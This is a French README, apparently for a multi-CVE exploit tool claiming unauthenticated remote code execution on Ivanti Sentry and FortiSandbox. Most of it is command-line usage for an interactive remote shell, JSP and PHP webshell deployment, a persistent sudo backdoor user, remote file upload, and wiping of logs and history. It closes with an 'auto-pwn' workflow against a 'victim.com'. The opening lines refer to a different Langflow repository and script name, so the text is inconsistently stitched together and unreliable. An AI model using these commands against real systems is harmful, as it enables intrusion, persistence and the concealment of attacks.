
Outil d'exploitation multi-CVE pour l'exécution de code à distance sans authentification sur Ivanti Sentry et FortiSandbox. Dispose d'un shell interactif, de déploiement de webshell, de création d'utilisateur backdoor et de nettoyage des logs pour les tests de pénétration.
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
Aucun identifiant requis.
python3 exploitt.py
# Vérifier si vulnérable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Shell interactif
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Déployer un webshell JSP (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Créer un utilisateur backdoor + nettoyer les logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Commande unique
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Shell interactif avec téléversement de fichier
python3 exploitt.py -u https://forti.example.com --type forti -s
# Dans le shell : upload /path/local.txt /remote/path.txt
# Déployer un webshell PHP
python3 exploitt.py -u https://forti.example.com --type forti -w
# Auto‑pwn complet (check, shell, webshell, persistance, nettoyage)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
Arguments disponibles en ligne de commande
Argument Description -u, --url URL de la cible (ex. https://192.168.1.100:8443) --type Forcer le service : ivanti ou forti (optionnel, détection automatique) -t, --timeout Délai d'attente de la requête en secondes (défaut 30) --proxy Proxy HTTP/HTTPS (ex. http://127.0.0.1:8080) -d, --debug Activer les sorties de débogage --ua Chaîne User‑Agent personnalisée -c, --cmd Exécuter une seule commande puis quitter -s, --shell Lancer un shell interactif -w, --webshell Déployer un webshell (PHP pour Forti, JSP pour Ivanti) -p, --persist Créer un utilisateur backdoor persistant avec sudo --clean Effacer les logs et l'historique des commandes après exploitation
Commandes du shell interactif
Dans le shell interactif, vous pouvez utiliser :
Commande Exemple Description normal command id Exécuter n'importe quelle commande système upload upload exploit.sh /tmp/backdoor.sh Téléverser un fichier local vers l'hôte distant exit exit Quitter le shell
Détails du déploiement du webshell
· Ivanti Sentry – déploie un shell .jsp dans les webapps Tomcat (/usr/local/tomcat/webapps/ROOT/) · Accès via https://target/shell_random.jsp?cmd=whoami · FortiSandbox – déploie un shell .php dans la racine web (/var/www/html/) · Accès via https://target/shell_random.php?cmd=whoami
Exemple de workflow (test de pénétration complet)
# 1. Détecter et exploiter
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Dans le shell, vérifier les privilèges
id
# 3. Déployer un webshell pour la persistance
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Créer un utilisateur backdoor
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Nettoyer les logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean